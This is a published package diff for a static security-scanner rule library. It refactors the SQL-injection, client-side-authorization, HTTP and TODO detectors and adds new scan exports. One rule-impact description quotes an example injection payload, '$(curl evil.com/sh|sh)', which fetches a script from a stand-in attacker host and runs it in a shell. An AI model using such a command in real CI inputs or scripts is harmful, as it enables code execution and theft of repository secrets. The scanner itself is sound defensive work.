xploitscan-shared-rules 2.1.0 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs +1070 -75
- package/dist/index.cjs.map +1 -1
- package/dist/index.d.cts +45 -1
- package/dist/index.d.ts +45 -1
- package/dist/index.js +1066 -75
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
package/dist/index.cjs
CHANGED
|
@@ -82,6 +82,7 @@ __export(index_exports, {
|
|
|
82
82
|
filterFalsePositives: () => filterFalsePositives,
|
|
83
83
|
filterSilenced: () => filterSilenced,
|
|
84
84
|
findMatches: () => findMatches,
|
|
85
|
+
findMatchesAt: () => findMatchesAt,
|
|
85
86
|
findSourceMapRefs: () => findSourceMapRefs,
|
|
86
87
|
freeRules: () => freeRules,
|
|
87
88
|
getObjectProperty: () => getObjectProperty,
|
|
@@ -124,7 +125,10 @@ __export(index_exports, {
|
|
|
124
125
|
replaceBlockComments: () => replaceBlockComments,
|
|
125
126
|
routeForFile: () => routeForFile,
|
|
126
127
|
runCustomRules: () => runCustomRules,
|
|
128
|
+
scanConfigs: () => scanConfigs,
|
|
129
|
+
scanDependencies: () => scanDependencies,
|
|
127
130
|
scanEntropy: () => scanEntropy,
|
|
131
|
+
scanMultiFile: () => scanMultiFile,
|
|
128
132
|
scanQuality: () => scanQuality,
|
|
129
133
|
sqlInjection: () => sqlInjection,
|
|
130
134
|
stripeWebhookUnprotected: () => stripeWebhookUnprotected,
|
|
@@ -404,7 +408,7 @@ var RULE_IMPACTS = {
|
|
|
404
408
|
VC184: "pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability \u2014 any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.",
|
|
405
409
|
VC185: "permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action \u2014 direct or transitive \u2014 can push commits, alter releases, and steal every secret the job has access to.",
|
|
406
410
|
VC186: "A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets \u2014 same root cause as SQL injection, just in a CI context.",
|
|
407
|
-
VC187: "Passing repo secrets
|
|
411
|
+
VC187: "Passing repo secrets to a third-party action (through with:, the step's env:, or a reusable workflow's secrets:) hands them to its source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
|
|
408
412
|
VC188: "ADD auto-extracts archives and fetches URLs without integrity checks \u2014 both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.",
|
|
409
413
|
VC189: "RUN curl ... | sh executes whatever the upstream server returns at build time \u2014 no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.",
|
|
410
414
|
VC190: "Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken \u2014 it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.",
|
|
@@ -1765,19 +1769,27 @@ function filterSilenced(matches, content, ruleId) {
|
|
|
1765
1769
|
return matches.filter((m) => !isInlineSilenced(content, lineStartIndex(m.line), ruleId));
|
|
1766
1770
|
}
|
|
1767
1771
|
function findMatches(content, pattern, rule, filePath, fixTemplate) {
|
|
1768
|
-
const matches = [];
|
|
1769
|
-
let m;
|
|
1770
1772
|
const re = new RegExp(pattern.source, pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`);
|
|
1773
|
+
function* execAll() {
|
|
1774
|
+
let m;
|
|
1775
|
+
let lastMatchIndex = -1;
|
|
1776
|
+
while ((m = re.exec(content)) !== null) {
|
|
1777
|
+
if (m.index === lastMatchIndex && m[0].length === 0) {
|
|
1778
|
+
re.lastIndex++;
|
|
1779
|
+
continue;
|
|
1780
|
+
}
|
|
1781
|
+
lastMatchIndex = m.index;
|
|
1782
|
+
yield m;
|
|
1783
|
+
}
|
|
1784
|
+
}
|
|
1785
|
+
return findMatchesAt(content, execAll(), rule, filePath, fixTemplate);
|
|
1786
|
+
}
|
|
1787
|
+
function findMatchesAt(content, found, rule, filePath, fixTemplate) {
|
|
1788
|
+
const matches = [];
|
|
1771
1789
|
let scanned = 0;
|
|
1772
1790
|
let lineNum = 1;
|
|
1773
|
-
let lastMatchIndex = -1;
|
|
1774
1791
|
const MAX_MATCHES = 500;
|
|
1775
|
-
|
|
1776
|
-
if (m.index === lastMatchIndex && m[0].length === 0) {
|
|
1777
|
-
re.lastIndex++;
|
|
1778
|
-
continue;
|
|
1779
|
-
}
|
|
1780
|
-
lastMatchIndex = m.index;
|
|
1792
|
+
for (const m of found) {
|
|
1781
1793
|
if (isCommentLine(content, m.index)) continue;
|
|
1782
1794
|
if (isInsideFixMessage(content, m.index)) continue;
|
|
1783
1795
|
for (; scanned < m.index; scanned++) {
|
|
@@ -2038,7 +2050,7 @@ var exposedEnvFile = {
|
|
|
2038
2050
|
category: "Secrets",
|
|
2039
2051
|
description: ".env files containing secrets may be committed to version control.",
|
|
2040
2052
|
check(content, filePath) {
|
|
2041
|
-
if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example")) return [];
|
|
2053
|
+
if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example") || /\.env\.(?:sample|template)$/.test(filePath)) return [];
|
|
2042
2054
|
const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\s*=/i.test(content);
|
|
2043
2055
|
if (!hasSecrets) return [];
|
|
2044
2056
|
return [{
|
|
@@ -2719,6 +2731,105 @@ function namesPlaceholderRun(content) {
|
|
|
2719
2731
|
}
|
|
2720
2732
|
return false;
|
|
2721
2733
|
}
|
|
2734
|
+
function isLineTerminator(c) {
|
|
2735
|
+
return c === 10 || c === 13 || c === 8232 || c === 8233;
|
|
2736
|
+
}
|
|
2737
|
+
function quotedLiterals(content) {
|
|
2738
|
+
const literals = [];
|
|
2739
|
+
const failedUpTo = /* @__PURE__ */ new Map();
|
|
2740
|
+
for (let i = 0; i < content.length; i++) {
|
|
2741
|
+
const quote = content.charCodeAt(i);
|
|
2742
|
+
if (quote !== 39 && quote !== 34 && quote !== 96) continue;
|
|
2743
|
+
if (i < (failedUpTo.get(quote) ?? -1)) continue;
|
|
2744
|
+
let j = i + 1;
|
|
2745
|
+
let closed = false;
|
|
2746
|
+
while (j < content.length) {
|
|
2747
|
+
const c = content.charCodeAt(j);
|
|
2748
|
+
if (c === quote) {
|
|
2749
|
+
closed = true;
|
|
2750
|
+
break;
|
|
2751
|
+
}
|
|
2752
|
+
if (c === 92) {
|
|
2753
|
+
if (j + 1 >= content.length || isLineTerminator(content.charCodeAt(j + 1))) break;
|
|
2754
|
+
j += 2;
|
|
2755
|
+
continue;
|
|
2756
|
+
}
|
|
2757
|
+
if (c === 10 && quote !== 96) break;
|
|
2758
|
+
j++;
|
|
2759
|
+
}
|
|
2760
|
+
if (!closed) {
|
|
2761
|
+
failedUpTo.set(quote, j);
|
|
2762
|
+
continue;
|
|
2763
|
+
}
|
|
2764
|
+
literals.push(content.slice(i, j + 1));
|
|
2765
|
+
i = j;
|
|
2766
|
+
}
|
|
2767
|
+
return literals;
|
|
2768
|
+
}
|
|
2769
|
+
var SQL_VERB_RE = /\b(?:SELECT|INSERT|UPDATE|DELETE)\b/i;
|
|
2770
|
+
var SQL_CLAUSE_RE = /\b(?:FROM|INTO|SET|VALUES|WHERE)\b/gi;
|
|
2771
|
+
function isSqlStatement(lit) {
|
|
2772
|
+
const verb = SQL_VERB_RE.exec(lit);
|
|
2773
|
+
if (!verb) return false;
|
|
2774
|
+
SQL_CLAUSE_RE.lastIndex = verb.index + verb[0].length;
|
|
2775
|
+
return SQL_CLAUSE_RE.test(lit);
|
|
2776
|
+
}
|
|
2777
|
+
function* interpolatedSqlLiterals(content) {
|
|
2778
|
+
const opener = /["'`]\s*(?:SELECT|INSERT|UPDATE|DELETE)\b/gi;
|
|
2779
|
+
const literalBreak = /["'`\n]/g;
|
|
2780
|
+
const clauseRe = /\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\b/i;
|
|
2781
|
+
let lineEnds = null;
|
|
2782
|
+
let lastOnLine = [];
|
|
2783
|
+
const parameterizedLater = (x) => {
|
|
2784
|
+
if (lineEnds === null) {
|
|
2785
|
+
const ends = [];
|
|
2786
|
+
for (let i = 0; i < content.length; i++) {
|
|
2787
|
+
if (isLineTerminator(content.charCodeAt(i))) ends.push(i);
|
|
2788
|
+
}
|
|
2789
|
+
ends.push(content.length);
|
|
2790
|
+
lastOnLine = new Array(ends.length).fill(-1);
|
|
2791
|
+
const word = /parameterized/gi;
|
|
2792
|
+
let line = 0;
|
|
2793
|
+
for (let w = word.exec(content); w !== null; w = word.exec(content)) {
|
|
2794
|
+
while (ends[line] < w.index) line++;
|
|
2795
|
+
lastOnLine[line] = w.index;
|
|
2796
|
+
}
|
|
2797
|
+
lineEnds = ends;
|
|
2798
|
+
}
|
|
2799
|
+
let lo = 0;
|
|
2800
|
+
let hi = lineEnds.length - 1;
|
|
2801
|
+
while (lo < hi) {
|
|
2802
|
+
const mid = lo + hi >> 1;
|
|
2803
|
+
if (lineEnds[mid] < x) lo = mid + 1;
|
|
2804
|
+
else hi = mid;
|
|
2805
|
+
}
|
|
2806
|
+
return lastOnLine[lo] >= x;
|
|
2807
|
+
};
|
|
2808
|
+
for (let m = opener.exec(content); m !== null; m = opener.exec(content)) {
|
|
2809
|
+
const start = m.index;
|
|
2810
|
+
const runStart = opener.lastIndex;
|
|
2811
|
+
literalBreak.lastIndex = runStart;
|
|
2812
|
+
const runEnd = literalBreak.exec(content)?.index ?? content.length;
|
|
2813
|
+
const run = content.slice(runStart, runEnd);
|
|
2814
|
+
const clause = clauseRe.exec(run);
|
|
2815
|
+
let matchEnd = -1;
|
|
2816
|
+
if (clause) {
|
|
2817
|
+
const clauseEnd = clause.index + clause[0].length;
|
|
2818
|
+
for (let d = run.lastIndexOf("${"); d >= clauseEnd; d = run.lastIndexOf("${", d - 1)) {
|
|
2819
|
+
if (!parameterizedLater(runStart + d + 2)) {
|
|
2820
|
+
matchEnd = runStart + d + 2;
|
|
2821
|
+
break;
|
|
2822
|
+
}
|
|
2823
|
+
}
|
|
2824
|
+
}
|
|
2825
|
+
if (matchEnd === -1) {
|
|
2826
|
+
opener.lastIndex = start + 1;
|
|
2827
|
+
continue;
|
|
2828
|
+
}
|
|
2829
|
+
yield { index: start };
|
|
2830
|
+
opener.lastIndex = matchEnd;
|
|
2831
|
+
}
|
|
2832
|
+
}
|
|
2722
2833
|
var sqlInjection = {
|
|
2723
2834
|
id: "VC006",
|
|
2724
2835
|
title: "Potential SQL Injection",
|
|
@@ -2741,35 +2852,22 @@ var sqlInjection = {
|
|
|
2741
2852
|
// allows the opposite quote type inside (common in SQL — "WHERE x = 'a'").
|
|
2742
2853
|
// The older `[^"']*` class bailed out at the first inner quote and
|
|
2743
2854
|
// missed every realistic SQL-containing concat.
|
|
2744
|
-
/(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\s*\(\s*(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')\s*\+/gi
|
|
2745
|
-
// Direct variable interpolation in a SQL string literal. Requires the
|
|
2746
|
-
// verb to START a quoted/backtick literal AND be followed — within the
|
|
2747
|
-
// same literal — by a SQL structural keyword (FROM/SET/WHERE/…), then a
|
|
2748
|
-
// `${` interpolation. The structural keyword is what distinguishes a
|
|
2749
|
-
// real query from ordinary prose: the previous pattern matched any
|
|
2750
|
-
// SELECT/UPDATE/… word anywhere on a line followed by `${`, so UI copy
|
|
2751
|
-
// like `UPDATE your profile settings ${name}` flagged as a CRITICAL SQL
|
|
2752
|
-
// injection. Real queries ("SELECT … FROM …", "UPDATE … SET …") always
|
|
2753
|
-
// carry a second structural keyword; sentences almost never do.
|
|
2754
|
-
/["'`]\s*(?:SELECT|INSERT|UPDATE|DELETE)\b[^"'`\n]*\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\b[^"'`\n]*\$\{(?!.*parameterized)/gi
|
|
2855
|
+
/(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\s*\(\s*(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')\s*\+/gi
|
|
2755
2856
|
];
|
|
2756
2857
|
const matches = [];
|
|
2757
|
-
const sqlLiterals = (content
|
|
2758
|
-
(lit) => /\b(?:SELECT|INSERT|UPDATE|DELETE)\b[\s\S]*\b(?:FROM|INTO|SET|VALUES|WHERE)\b/i.test(lit)
|
|
2759
|
-
);
|
|
2858
|
+
const sqlLiterals = quotedLiterals(content).filter(isSqlStatement);
|
|
2760
2859
|
const usesParams = /\bprepare\b/i.test(content) || sqlLiterals.some((lit) => /\?\s*,|\?[^?,;]{1,20}\?|\$\d+|:[A-Za-z_]\w*|@[A-Za-z_]\w*|=\s*\?/.test(lit));
|
|
2761
|
-
const code = content
|
|
2860
|
+
const code = replaceBlockComments(content, () => " ").replace(/(^|[^:"'`\\])\/\/.*$/gm, "$1");
|
|
2762
2861
|
if (usesParams || namesPlaceholderRun(code)) return [];
|
|
2763
|
-
|
|
2764
|
-
|
|
2765
|
-
|
|
2766
|
-
|
|
2767
|
-
|
|
2768
|
-
|
|
2769
|
-
|
|
2770
|
-
);
|
|
2862
|
+
const fix = () => "Use parameterized queries or prepared statements instead of string interpolation. Example: db.query('SELECT * FROM users WHERE id = ?', [userId])";
|
|
2863
|
+
const raws = [
|
|
2864
|
+
...patterns.map((pattern) => findMatches(content, pattern, sqlInjection, filePath, fix)),
|
|
2865
|
+
findMatchesAt(content, interpolatedSqlLiterals(content), sqlInjection, filePath, fix)
|
|
2866
|
+
];
|
|
2867
|
+
let lines;
|
|
2868
|
+
for (const raw of raws) {
|
|
2771
2869
|
for (const m of raw) {
|
|
2772
|
-
const lineText = content.split("\n")[m.line - 1] || "";
|
|
2870
|
+
const lineText = (lines ??= content.split("\n"))[m.line - 1] || "";
|
|
2773
2871
|
if (/\bPrisma\.sql\s*`/.test(lineText)) continue;
|
|
2774
2872
|
if (/\bsql\s*`/.test(lineText) && !/\bsql\.raw\s*\(/.test(lineText)) continue;
|
|
2775
2873
|
if (/\$queryRaw\s*\(\s*Prisma\.sql|\$executeRaw\s*\(\s*Prisma\.sql/.test(lineText)) continue;
|
|
@@ -2956,6 +3054,116 @@ var corsWildcard = {
|
|
|
2956
3054
|
return matches;
|
|
2957
3055
|
}
|
|
2958
3056
|
};
|
|
3057
|
+
function firstAtOrAfter(sorted, x) {
|
|
3058
|
+
let lo = 0, hi = sorted.length;
|
|
3059
|
+
while (lo < hi) {
|
|
3060
|
+
const mid = lo + hi >>> 1;
|
|
3061
|
+
if (sorted[mid] < x) lo = mid + 1;
|
|
3062
|
+
else hi = mid;
|
|
3063
|
+
}
|
|
3064
|
+
return lo;
|
|
3065
|
+
}
|
|
3066
|
+
function vc010RoleTests(content, vue) {
|
|
3067
|
+
const out = [];
|
|
3068
|
+
const candidate = /isadmin|role/gi;
|
|
3069
|
+
const roleEq = vue ? /role\s*===?\s*'admin'/iy : /role\s*===?\s*["'`]admin["'`]/iy;
|
|
3070
|
+
for (let m = candidate.exec(content); m !== null; m = candidate.exec(content)) {
|
|
3071
|
+
const q = m.index;
|
|
3072
|
+
if (m[0].length === 7) {
|
|
3073
|
+
out.push({ start: q, end: q + 7 });
|
|
3074
|
+
continue;
|
|
3075
|
+
}
|
|
3076
|
+
if (!vue && q >= 5 && content.slice(q - 5, q).toLowerCase() === "user.") {
|
|
3077
|
+
out.push({ start: q - 5, end: q + 4 });
|
|
3078
|
+
}
|
|
3079
|
+
roleEq.lastIndex = q;
|
|
3080
|
+
if (roleEq.test(content)) out.push({ start: q, end: roleEq.lastIndex });
|
|
3081
|
+
}
|
|
3082
|
+
return out;
|
|
3083
|
+
}
|
|
3084
|
+
function vc010LineEnd(content) {
|
|
3085
|
+
const breaks = [];
|
|
3086
|
+
for (let i = 0; i < content.length; i++) {
|
|
3087
|
+
const c = content.charCodeAt(i);
|
|
3088
|
+
if (c === 10 || c === 13 || c === 8232 || c === 8233) breaks.push(i);
|
|
3089
|
+
}
|
|
3090
|
+
return (x) => {
|
|
3091
|
+
const i = firstAtOrAfter(breaks, x);
|
|
3092
|
+
return i < breaks.length ? breaks[i] : content.length;
|
|
3093
|
+
};
|
|
3094
|
+
}
|
|
3095
|
+
function vc010JsxGateStarts(content) {
|
|
3096
|
+
const tests = vc010RoleTests(content, false);
|
|
3097
|
+
if (tests.length === 0) return [];
|
|
3098
|
+
const lineEnd = vc010LineEnd(content);
|
|
3099
|
+
const ands = [];
|
|
3100
|
+
for (let a = content.indexOf("&&"); a !== -1; a = content.indexOf("&&", a + 1)) ands.push(a);
|
|
3101
|
+
const starts = [];
|
|
3102
|
+
let pos = 0;
|
|
3103
|
+
let lo = 0;
|
|
3104
|
+
for (; ; ) {
|
|
3105
|
+
const open = content.indexOf("{", pos);
|
|
3106
|
+
if (open === -1) break;
|
|
3107
|
+
const end = lineEnd(open);
|
|
3108
|
+
while (lo < tests.length && tests[lo].start <= open) lo++;
|
|
3109
|
+
let hi = lo;
|
|
3110
|
+
while (hi < tests.length && tests[hi].start < end) hi++;
|
|
3111
|
+
let matchEnd = -1;
|
|
3112
|
+
for (let k = hi - 1; k >= lo && matchEnd === -1; k--) {
|
|
3113
|
+
const e = tests[k].end;
|
|
3114
|
+
const i = firstAtOrAfter(ands, lineEnd(e) - 1) - 1;
|
|
3115
|
+
if (i >= 0 && ands[i] >= e) matchEnd = ands[i] + 2;
|
|
3116
|
+
}
|
|
3117
|
+
if (matchEnd === -1) {
|
|
3118
|
+
pos = end + 1;
|
|
3119
|
+
continue;
|
|
3120
|
+
}
|
|
3121
|
+
starts.push(open);
|
|
3122
|
+
pos = matchEnd;
|
|
3123
|
+
}
|
|
3124
|
+
return starts;
|
|
3125
|
+
}
|
|
3126
|
+
function vc010VueGateStarts(content) {
|
|
3127
|
+
const tests = vc010RoleTests(content, true);
|
|
3128
|
+
if (tests.length === 0) return [];
|
|
3129
|
+
const testStarts = tests.map((t) => t.start);
|
|
3130
|
+
const lineEnd = vc010LineEnd(content);
|
|
3131
|
+
const vIf = /v-if/gi;
|
|
3132
|
+
const attr = /v-if\s*=\s*["'`]/iy;
|
|
3133
|
+
const starts = [];
|
|
3134
|
+
for (let m = vIf.exec(content); m !== null; m = vIf.exec(content)) {
|
|
3135
|
+
attr.lastIndex = m.index;
|
|
3136
|
+
if (!attr.test(content)) continue;
|
|
3137
|
+
const valueStart = attr.lastIndex;
|
|
3138
|
+
const end = lineEnd(valueStart);
|
|
3139
|
+
const k = firstAtOrAfter(testStarts, end) - 1;
|
|
3140
|
+
if (k < 0 || tests[k].start < valueStart) continue;
|
|
3141
|
+
starts.push(m.index);
|
|
3142
|
+
vIf.lastIndex = tests[k].end;
|
|
3143
|
+
}
|
|
3144
|
+
return starts;
|
|
3145
|
+
}
|
|
3146
|
+
function vc010Findings(content, filePath, starts, fix) {
|
|
3147
|
+
const out = [];
|
|
3148
|
+
let scanned = 0;
|
|
3149
|
+
let line = 1;
|
|
3150
|
+
for (const index of starts) {
|
|
3151
|
+
if (isCommentLine(content, index) || isInsideFixMessage(content, index)) continue;
|
|
3152
|
+
for (; scanned < index; scanned++) if (content.charCodeAt(scanned) === 10) line++;
|
|
3153
|
+
out.push({
|
|
3154
|
+
rule: clientSideAuth.id,
|
|
3155
|
+
title: clientSideAuth.title,
|
|
3156
|
+
severity: clientSideAuth.severity,
|
|
3157
|
+
category: clientSideAuth.category,
|
|
3158
|
+
file: filePath,
|
|
3159
|
+
line,
|
|
3160
|
+
snippet: getSnippet(content, line),
|
|
3161
|
+
fix
|
|
3162
|
+
});
|
|
3163
|
+
if (out.length >= 500) break;
|
|
3164
|
+
}
|
|
3165
|
+
return out;
|
|
3166
|
+
}
|
|
2959
3167
|
var clientSideAuth = {
|
|
2960
3168
|
id: "VC010",
|
|
2961
3169
|
title: "Client-Side Only Authorization",
|
|
@@ -2964,25 +3172,13 @@ var clientSideAuth = {
|
|
|
2964
3172
|
description: "Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.",
|
|
2965
3173
|
check(content, filePath) {
|
|
2966
3174
|
if (!filePath.match(/\.(jsx|tsx|vue|svelte)$/)) return [];
|
|
2967
|
-
|
|
2968
|
-
const
|
|
2969
|
-
|
|
2970
|
-
|
|
3175
|
+
if (/getServerSession|(?<!\.auth\.)getUser|server|api\/auth|middleware|\bawait\s+auth\s*\(\s*\)(?!\s*\.)/i.test(content)) return [];
|
|
3176
|
+
if (/\bexport\s+default\s+async\s+function\b|\basync\s+function\s+[A-Z]\w*\s*\(|\bconst\s+[A-Z]\w*\s*(?::[^=\n]{1,80})?=\s*async\s*\(|\bexport\s+(?:async\s+function|const)\s+(?:loader|action)\b|["']next\/headers["']|\bclerkClient\b|firebase-admin/.test(content)) return [];
|
|
3177
|
+
const fix = "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too.";
|
|
3178
|
+
return [
|
|
3179
|
+
...vc010Findings(content, filePath, vc010JsxGateStarts(content), fix),
|
|
3180
|
+
...vc010Findings(content, filePath, vc010VueGateStarts(content), fix)
|
|
2971
3181
|
];
|
|
2972
|
-
for (const pattern of rolePatterns) {
|
|
2973
|
-
const hasServerCheck = /getServerSession|getUser|server|api\/auth|middleware/i.test(content);
|
|
2974
|
-
if (hasServerCheck) continue;
|
|
2975
|
-
matches.push(
|
|
2976
|
-
...findMatches(
|
|
2977
|
-
content,
|
|
2978
|
-
pattern,
|
|
2979
|
-
clientSideAuth,
|
|
2980
|
-
filePath,
|
|
2981
|
-
() => "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too."
|
|
2982
|
-
)
|
|
2983
|
-
);
|
|
2984
|
-
}
|
|
2985
|
-
return matches;
|
|
2986
3182
|
}
|
|
2987
3183
|
};
|
|
2988
3184
|
var PUBLIC_ENV_FIX = {
|
|
@@ -3052,6 +3248,7 @@ var envNotGitignored = {
|
|
|
3052
3248
|
description: "If .env is not listed in .gitignore, secrets will be committed to version control.",
|
|
3053
3249
|
check(content, filePath) {
|
|
3054
3250
|
if (!filePath.endsWith(".gitignore")) return [];
|
|
3251
|
+
if (/(?:^|\/)(?:android|ios)\//.test(filePath)) return [];
|
|
3055
3252
|
if (/\.env/i.test(content)) return [];
|
|
3056
3253
|
return [{
|
|
3057
3254
|
rule: "VC014",
|
|
@@ -3306,10 +3503,13 @@ var missingHTTPS = {
|
|
|
3306
3503
|
category: "Configuration",
|
|
3307
3504
|
description: "Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.",
|
|
3308
3505
|
check(content, filePath) {
|
|
3309
|
-
|
|
3506
|
+
const baseName = filePath.slice(filePath.lastIndexOf("/") + 1);
|
|
3507
|
+
const isTestPath = /(?:^|\/)(?:__tests__|tests?|testdata|testing|test[-_]?(?:utils?|helpers?|support))\//i.test(filePath) || /^(?:tests?(?![a-z])|conftest\.py$|setupTests\.)|[._-]tests?\.\w+$|\.spec\.\w+$|_spec\.rb$/.test(baseName);
|
|
3508
|
+
if (filePath.endsWith(".example") || isTestPath || filePath.includes("README")) return [];
|
|
3310
3509
|
if (filePath.match(/\.(md|txt)$/)) return [];
|
|
3311
3510
|
const matches = [];
|
|
3312
|
-
|
|
3511
|
+
const isScriptFile = /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(filePath);
|
|
3512
|
+
if (!isScriptFile && /<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
|
|
3313
3513
|
const httpPattern = /["'`]http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|192\.168\.|10\.|172\.(?:1[6-9]|2\d|3[01])\.|www\.w3\.org|www\.apple\.com\/DTDs|schemas?\.|xml\.org|purl\.org|ns\.adobe|xmlpull\.org|java\.sun\.com)[^"'`\s]+["'`]/g;
|
|
3314
3514
|
const rawMatches = findMatches(
|
|
3315
3515
|
content,
|
|
@@ -3318,11 +3518,10 @@ var missingHTTPS = {
|
|
|
3318
3518
|
filePath,
|
|
3319
3519
|
() => "Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains"
|
|
3320
3520
|
);
|
|
3521
|
+
const lines = rawMatches.length > 0 ? content.split("\n") : [];
|
|
3321
3522
|
for (const rm of rawMatches) {
|
|
3322
|
-
const
|
|
3323
|
-
|
|
3324
|
-
const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);
|
|
3325
|
-
if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs/i.test(matchText)) continue;
|
|
3523
|
+
const matchText = lines[rm.line - 1] ?? "";
|
|
3524
|
+
if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs|\bxmlns[\w:-]*\s*=/i.test(matchText)) continue;
|
|
3326
3525
|
matches.push(rm);
|
|
3327
3526
|
}
|
|
3328
3527
|
return matches;
|
|
@@ -3478,6 +3677,7 @@ var missingLockFile = {
|
|
|
3478
3677
|
description: "Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.",
|
|
3479
3678
|
check(content, filePath) {
|
|
3480
3679
|
if (!filePath.endsWith(".gitignore")) return [];
|
|
3680
|
+
if (/^[ \t]*![^\n]*(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock)/im.test(content)) return [];
|
|
3481
3681
|
const ignoresLock = /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/i.test(content);
|
|
3482
3682
|
if (ignoresLock) {
|
|
3483
3683
|
return findMatches(
|
|
@@ -3579,7 +3779,7 @@ var dangerousInnerHTML = {
|
|
|
3579
3779
|
if (!filePath.match(/\.(jsx|tsx)$/)) return [];
|
|
3580
3780
|
if (isTestFile(filePath)) return [];
|
|
3581
3781
|
if (!/dangerouslySetInnerHTML/i.test(content)) return [];
|
|
3582
|
-
const codeOnly = content
|
|
3782
|
+
const codeOnly = replaceBlockComments(content, () => "").replace(/(^|[^:])\/\/.*$/gm, "$1").replace(/\{\s*\/\*[\s\S]*?\*\/\s*\}/g, "");
|
|
3583
3783
|
const hasSanitize = /\b(?:DOMPurify|sanitizeHtml|sanitize-html|isomorphic-dompurify)\b|\b(?:sanitize|purify|xss)\s*\(/i.test(codeOnly);
|
|
3584
3784
|
if (hasSanitize) return [];
|
|
3585
3785
|
const findings = [];
|
|
@@ -4039,7 +4239,7 @@ var consoleLogProduction = {
|
|
|
4039
4239
|
for (let i = 0; i < lines.length; i++) {
|
|
4040
4240
|
const line = lines[i].trim();
|
|
4041
4241
|
if (/console\.log\s*\(/.test(line) && !line.startsWith("//") && !line.startsWith("*") && !/if\s*\(\s*(?:debug|process\.env)/i.test(lines[Math.max(0, i - 1)] + line)) {
|
|
4042
|
-
matches.push({ rule: "VC097", title: consoleLogProduction.title, severity:
|
|
4242
|
+
matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: consoleLogProduction.severity, category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
|
|
4043
4243
|
}
|
|
4044
4244
|
}
|
|
4045
4245
|
return matches.slice(0, 1);
|
|
@@ -4053,13 +4253,34 @@ var todoLeftInCode = {
|
|
|
4053
4253
|
description: "TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.",
|
|
4054
4254
|
check(content, filePath) {
|
|
4055
4255
|
if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];
|
|
4056
|
-
return
|
|
4057
|
-
|
|
4058
|
-
|
|
4059
|
-
|
|
4060
|
-
|
|
4061
|
-
|
|
4062
|
-
|
|
4256
|
+
if (/\.(?:md|mdx|markdown|txt)$/i.test(filePath)) return [];
|
|
4257
|
+
const marker = /(?<![`'":])(?:\/\/|\/\*\*?|^[ \t]*\*+)[ \t]*(?:(?:TODO|FIXME|HACK)\b|XXX(?![\w.-])|(?:[Tt]odo|[Ff]ixme)[ \t]*:|@todo\b)/gm;
|
|
4258
|
+
const matches = [];
|
|
4259
|
+
let todoDomain;
|
|
4260
|
+
let lastLine = 0;
|
|
4261
|
+
for (let m = marker.exec(content); m && matches.length < 5; m = marker.exec(content)) {
|
|
4262
|
+
const line = lineNumberAt(content, m.index);
|
|
4263
|
+
if (line === lastLine) continue;
|
|
4264
|
+
lastLine = line;
|
|
4265
|
+
if (/^[^@]*[Tt]odo[ \t]*:$/.test(m[0])) {
|
|
4266
|
+
const lineStart = content.lastIndexOf("\n", m.index) + 1;
|
|
4267
|
+
if (content.slice(lineStart, m.index).trim() === "") {
|
|
4268
|
+
if (todoDomain === void 0) todoDomain = /\b[Tt]odos?\b/.test(maskComments(content));
|
|
4269
|
+
if (todoDomain) continue;
|
|
4270
|
+
}
|
|
4271
|
+
}
|
|
4272
|
+
matches.push({
|
|
4273
|
+
rule: todoLeftInCode.id,
|
|
4274
|
+
title: todoLeftInCode.title,
|
|
4275
|
+
severity: todoLeftInCode.severity,
|
|
4276
|
+
category: todoLeftInCode.category,
|
|
4277
|
+
file: filePath,
|
|
4278
|
+
line,
|
|
4279
|
+
snippet: getSnippet(content, line),
|
|
4280
|
+
fix: "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
|
|
4281
|
+
});
|
|
4282
|
+
}
|
|
4283
|
